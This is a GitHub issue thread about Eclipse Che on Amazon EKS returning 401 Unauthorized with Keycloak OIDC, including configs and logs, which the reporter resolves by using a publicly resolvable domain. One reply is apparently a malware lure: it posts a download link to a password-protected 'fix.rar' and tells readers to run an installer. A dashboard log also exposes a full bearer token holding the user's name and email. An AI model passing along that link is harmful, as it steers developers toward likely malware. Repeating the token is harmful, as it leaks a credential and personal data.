Cannot create workspace. Authorization issue. #23116

huonguyenlt · 2024-08-26T16:08:55Z

Describe the bug

I deployed che on EKS and used keycloak as OIDC IdP.
Can successfully setup all che components log in to che dashboard. However, after login it show the errors:

Failed to fetch available workspaces, reason: Failed to fetch the list of devWorkspaces. Unable to list devworkspaces: Unauthorized
Failed to fetch the user profile data. Unable to get user profile data: Unauthorized

I aslo tried to create a empty workspace. I get this error: "Unable to create devworkspace: Unauthorized"

Here is the checluster custom resource config

apiVersion: org.eclipse.che/v2
metadata:
  name: eclipse-che
  namespace: eclipse-che
spec:
  networking:
    auth:
      oAuthClientName: kubernetes
      oAuthSecret: xxx
      identityProviderURL: https://<keycloak-url>/realms/che
    domain: che.<che-url>.com
    tlsSecretName: che.tls
  components:
    cheServer:
      extraProperties:
        CHE_OIDC_AUTH__SERVER__URL: https://<keycloak-url>/realms/che
        CHE_OIDC_USERNAME__CLAIM: email

I also setup eks with oidc.

che-dashboard's log

Validating devfile
Devfile is valid with schema version 2.2.0
DevWorkspace che-code-empty-axri was generated
ERROR [15:26:29 UTC]: HTTP request failed
    err: {
      "type": "HttpError",
      "message": "HTTP request failed",
      "stack":
          HttpError: HTTP request failed
              at Request._callback (/backend/node_modules/@kubernetes/client-node/dist/gen/api/customObjectsApi.js:268:36)
              at self.callback (/backend/node_modules/request/request.js:185:22)
              at Request.emit (node:events:517:28)
              at Request.<anonymous> (/backend/node_modules/request/request.js:1154:10)
              at Request.emit (node:events:517:28)
              at IncomingMessage.<anonymous> (/backend/node_modules/request/request.js:1076:12)
              at Object.onceWrapper (node:events:631:28)
              at IncomingMessage.emit (node:events:529:35)
              at endReadableNT (node:internal/streams/readable:1400:12)
              at process.processTicksAndRejections (node:internal/process/task_queues:82:21)
      "response": {
        "statusCode": 401,
        "body": {
          "kind": "Status",
          "apiVersion": "v1",
          "metadata": {},
          "status": "Failure",
          "message": "Unauthorized",
          "reason": "Unauthorized",
          "code": 401
        },
        "headers": {
          "audit-id": "c7fa9d68-4eee-45e9-9364-a5034544533c",
          "cache-control": "no-cache, private",
          "content-type": "application/json",
          "date": "Mon, 26 Aug 2024 15:26:28 GMT",
          "content-length": "129",
          "connection": "close"
        },
        "request": {
          "uri": {
            "protocol": "https:",
            "slashes": true,
            "auth": null,
            "host": "172.20.0.1:443",
            "port": "443",
            "hostname": "172.20.0.1",
            "hash": null,
            "search": null,
            "query": null,
            "pathname": "/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces",
            "path": "/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces",
            "href": "https://172.20.0.1:443/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces"
          },
          "method": "POST",
          "headers": {
            "Accept": "application/json",
            "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJWbmtFMkd3ZnhBZDNsY3hYUlZvaFQ2dWEwY1NqTGdWZUhkTGRLTjRHLUVNIn0.eyJleHAiOjE3MjQ2ODYwMjMsImlhdCI6MTcyNDY4NTcyMywiYXV0aF90aW1lIjoxNzI0Njg1NzIzLCJqdGkiOiJiNDNlZWZhOS01MDk0LTRlZWMtYjk1OC0wM2IxZmMxZmUzYzkiLCJpc3MiOiJodHRwczovL2Rzb2NoZWtleWNsb2FrLnN0ZW5nZ2Nsb3VkLmNvbS9yZWFsbXMvY2hlIiwiYXVkIjoia3ViZXJuZXRlcyIsInN1YiI6IjJmMGFlNThlLWI1MDktNDhkMy05NzUyLWU0YjRlY2EyZDE3YSIsInR5cCI6IklEIiwiYXpwIjoia3ViZXJuZXRlcyIsInNpZCI6IjNhNTJlNjg0LWU4MzMtNDg3MC04ZmYxLTY5YmU3MDhkYTk0ZiIsImF0X2hhc2giOiJESnRnUWF0MUlEcTNJVFRHZ3I1bXp3IiwiYWNyIjoiMSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJuYW1lIjoiSHVvbmcgTmd1eWVuIiwicHJlZmVycmVkX3VzZXJuYW1lIjoiY2hlLXVzZXIiLCJnaXZlbl9uYW1lIjoiSHVvbmciLCJmYW1pbHlfbmFtZSI6Ik5ndXllbiIsImVtYWlsIjoibGV0aGllbmh1b25nLm5ndXllbkBzdGVuZ2cuY29tIn0.DO-KoaXKeW4Vp_LXlaBFnt8RjEthEFrEnnU81rn1k7777j2Xch6npBfQRIKC2cxcy6LpyeJ9VotpOTZB9k8BFsG99CJufVcBB3dUiU1bzFG7Gdnsod4tqnoilKraOy0AZhww2ITAoZcZoID3fzH0yppVS1BAaebMZLHCaSdYBcZEnCJLIToySD7ev-IRxPsD6wlEhpE1Bq-X0nHcASfzpILIRe8Y5MxrqSkevGz3_E_wa6VGK5itvifDjC4kbujTpNTT_BFgNh48zCfRPF0BIXAuuBvRjRTvmWPddsbYgvqUNycGbCHSvbPpCKhPxVNb5HcyHIKvHMk_C94dimwXkA",
            "content-type": "application/json",
            "content-length": 1692
          }
        }
      },
      "body": {
        "type": "Object",
        "message": "Unauthorized",
        "stack":
        "kind": "Status",
        "apiVersion": "v1",
        "metadata": {},
        "status": "Failure",
        "reason": "Unauthorized",
        "code": 401
      },
      "statusCode": 401,
      "name": "HttpError"
    }

che-gateway oauth-proxy's log

10.192.78.48:45608 - 51c3b4581fa6003bc11dd3d43dac8de0 - [email protected] [2024/08/26 15:26:16] che.xxx-devcheworkspaces.com GET / "/dashboard/" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 964 0.003
10.192.78.48:45608 - 0416a8b42cd56c747ccacccd7ac6496d - [email protected] [2024/08/26 15:26:16] che.xxx-devcheworkspaces.com GET / "/dashboard/service-worker.js" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 63 0.002
10.192.78.48:45608 - 8b36a7d84b7eda13e9995eae78055759 - [email protected] [2024/08/26 15:26:16] che.xxx-devcheworkspaces.com GET / "/dashboard/api/server-config" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 992 0.016
10.192.78.48:45608 - 38eeb21f3c24cac9bcae85200d40ff40 - [email protected] [2024/08/26 15:26:16] che.xxx-devcheworkspaces.com POST / "/api/kubernetes/namespace/provision" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 103 0.850
10.192.78.48:45608 - dc793cfdb2ab29c3b4d37cabe3ce696a - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/assets/branding/product.json" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 3 0.005
10.192.78.48:45632 - 1676000131b67ad11fd58df18b78cf3a - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/cluster-info" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 19 0.005
10.192.78.48:45624 - ecb6e1c57888e47bd87ccc0c932bc37b - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/api/kubernetes/namespace" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 86 0.019
10.192.78.48:45624 - 9334579713510f202e62789be0e014ed - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com OPTIONS / "/api/" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 184 0.005
10.192.78.48:45624 - 488eacb935d775756283d873fae3e9be - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/editors" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 35947 0.075
10.192.78.48:45678 - fba2a684d3081907c77afcb6fb65ca32 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/cluster-config" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 74 0.077
10.192.78.48:45688 - 9118ea8278bbd823cf6e7467b8afc136 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/getting-started-sample" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 2 0.077
10.192.78.48:45688 - 800aaf92b3e65c1321105790bba34a41 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/devfile-registry/devfiles/index.json" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 16056 0.004
10.192.78.48:45688 - 36441ce0f240f91f70bc3b31be30c70e - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/service-worker.js" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 63 0.003
10.192.78.48:45644 - 926dd1c3af688f8c84dd794ad68bb7d9 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/pods" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 88 5.133
10.192.78.48:45632 - b8a4cf5bcd3cc37f45ddc357b05efa56 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/ssh-key" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 154 5.161
10.192.78.48:45608 - 7d6609be4c9b94e93646624083620849 - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/events" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 89 5.176
10.192.78.48:45650 - 3f73f6b33c4a0985e3b224549270713c - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/userprofile/lethienhuong-nguyen-xxx-com-che-0tv1zl" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 99 5.172
10.192.78.48:45662 - 3194d08f0e9c9d7a191cdbf0f6b5baad - [email protected] [2024/08/26 15:26:17] che.xxx-devcheworkspaces.com GET / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/devworkspaces" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 96 5.175
10.192.78.48:45662 - 93aede10628d05edc9c87860ba0324f4 - [email protected] [2024/08/26 15:26:22] che.xxx-devcheworkspaces.com GET / "/dashboard/353.870a7cdf.css" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 2289 0.003
10.192.78.48:45650 - 4e5673316210b8853087110e54fc42b4 - [email protected] [2024/08/26 15:26:22] che.xxx-devcheworkspaces.com GET / "/dashboard/353.6c476b02ed5091166d73.js" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 65214 0.003
10.192.78.48:45650 - c21da0d90750285785475c0567adcb22 - [email protected] [2024/08/26 15:26:24] che.xxx-devcheworkspaces.com POST / "/dashboard/api/devworkspace-resources" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 200 4156 0.010
10.192.78.48:45650 - 78d71ecc6276ea4c44f5b4a0a16046ed - [email protected] [2024/08/26 15:26:24] che.xxx-devcheworkspaces.com POST / "/dashboard/api/namespace/lethienhuong-nguyen-xxx-com-che-0tv1zl/devworkspaces" HTTP/1.1 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 401 97 5.083

che-gateway kube-rbac-proxy log:

==== Deprecation Warning ======================

Insecure listen address will be removed.
Using --insecure-listen-address won't be possible!

The ability to run kube-rbac-proxy without TLS certificates will be removed.
Not using --tls-cert-file and --tls-private-key-file won't be possible!

For more information, please go to https://github.com/brancz/kube-rbac-proxy/issues/187

===============================================


I0826 14:41:50.692211       1 main.go:182] Reading config file: /etc/kube-rbac-proxy/authorization-config.yaml
I0826 14:41:50.693342       1 main.go:218] Valid token audiences:
I0826 14:41:50.693645       1 main.go:424] Listening insecurely on 0.0.0.0:8089

Observation
I compared the logs when I associated eks with oidc and when I did not, the logs are the same. I think the eclipse-che did not make any request to the eks at all.

Che version

7.89

Steps to reproduce

Deploy devworkspace component
Deploy che component
Deploy che cluster custom resource (manifest file shown above)
Associate eks with the same keycloak client
Get authorization error when loging in che dashboard and when creating any workspace

Expected behavior

Should be able to create workspace.
And get explain where in the log it shows that eclipse-che is authorize against the eks cluster

Runtime

other (please specify in additional context)

Screenshots

No response

Installation method

other (please specify in additional context)

Environment

Amazon

Eclipse Che Logs

show above

Additional context

Runtime: kubernetes eks
Installation method: che compnent helm

The text was updated successfully, but these errors were encountered:

dseynhae · 2024-08-26T16:20:48Z

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

huonguyenlt · 2024-08-26T19:01:55Z

"request": {
          "uri": {
            "protocol": "https:",
            "slashes": true,
            "auth": null,
            "host": "172.20.0.1:443",
            "port": "443",
            "hostname": "172.20.0.1",
            "hash": null,
            "search": null,
            "query": null,
            "pathname": "/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces",
            "path": "/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces",
            "href": "https://172.20.0.1:443/apis/workspace.devfile.io/v1alpha2/namespaces/lethienhuong-nguyen-stengg-com-che-0tv1zl/devworkspaces"
          },

this is the log from che dashboard, I want to know why hostname is set to 172.20.0.1. I think it should be set to the domain I provided in che cluster custom resource manifest file

apiVersion: org.eclipse.che/v2
metadata:
  name: eclipse-che
  namespace: eclipse-che
spec:
  networking:
    auth:
      oAuthClientName: kubernetes
      oAuthSecret: xxx
      identityProviderURL: https://<keycloak-url>/realms/che
    domain: che.<che-url>.com  <============= I think hostname should be this one, not 172.20.0.1
    tlsSecretName: che.tls
  components:
    cheServer:
      extraProperties:
        CHE_OIDC_AUTH__SERVER__URL: https://<keycloak-url>/realms/che
        CHE_OIDC_USERNAME__CLAIM: email

tolusha · 2024-08-27T14:33:53Z

@huonguyenlt

Could you have a look at this comment, I hope it will help you.
#22358 (comment)

huonguyenlt · 2024-08-28T14:53:23Z

I managed to make it work. It turns out the association between keycloak and eks was not successful. I was using a private domain that eks cannot resolve the hostname. Use domain that is publicly resolvable fix the issue

tolusha · 2024-08-29T07:02:47Z

Hello @huonguyenlt
Would you be interested in writing documentation about deploying and configuring Eclipse Che on EKS ?

huonguyenlt · 2024-08-29T07:31:33Z

@tolusha yes I would love to. Any advice how to start?

tolusha · 2024-08-29T12:46:25Z

Please find here the similar PR about deploying and configuring Eclipse Che on AKS [1]
Also we have a nice blogpost about writing docs with che [2]

[1] https://github.com/eclipse-che/che-docs/pull/2670/files
[2] https://che.eclipseprojects.io/2024/08/09/@deerskindoll-writing-docs-with-che.html

huonguyenlt added the kind/bug Outline of a bug - must adhere to the bug report template. label Aug 26, 2024

che-bot added the status/need-triage An issue that needs to be prioritized by the curator responsible for the triage. See https://github. label Aug 26, 2024

huonguyenlt mentioned this issue Aug 26, 2024

Confusing about the OIDC #23113

Closed

RomanNikitenko added this to Eclipse Che Team A Backlog Aug 26, 2024

RomanNikitenko moved this to 📋 Backlog in Eclipse Che Team A Backlog Aug 26, 2024

huonguyenlt closed this as completed Aug 28, 2024

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Cannot create workspace. Authorization issue. #23116

Cannot create workspace. Authorization issue. #23116

huonguyenlt commented Aug 26, 2024 •

edited

Loading

dseynhae commented Aug 26, 2024

huonguyenlt commented Aug 26, 2024

tolusha commented Aug 27, 2024

huonguyenlt commented Aug 28, 2024

tolusha commented Aug 29, 2024

huonguyenlt commented Aug 29, 2024

tolusha commented Aug 29, 2024

Cannot create workspace. Authorization issue. #23116

Cannot create workspace. Authorization issue. #23116

Comments

huonguyenlt commented Aug 26, 2024 • edited Loading

Describe the bug

Che version

Steps to reproduce

Expected behavior

Runtime

Screenshots

Installation method

Environment

Eclipse Che Logs

Additional context

dseynhae commented Aug 26, 2024

huonguyenlt commented Aug 26, 2024

tolusha commented Aug 27, 2024

huonguyenlt commented Aug 28, 2024

tolusha commented Aug 29, 2024

huonguyenlt commented Aug 29, 2024

tolusha commented Aug 29, 2024

huonguyenlt commented Aug 26, 2024 •

edited

Loading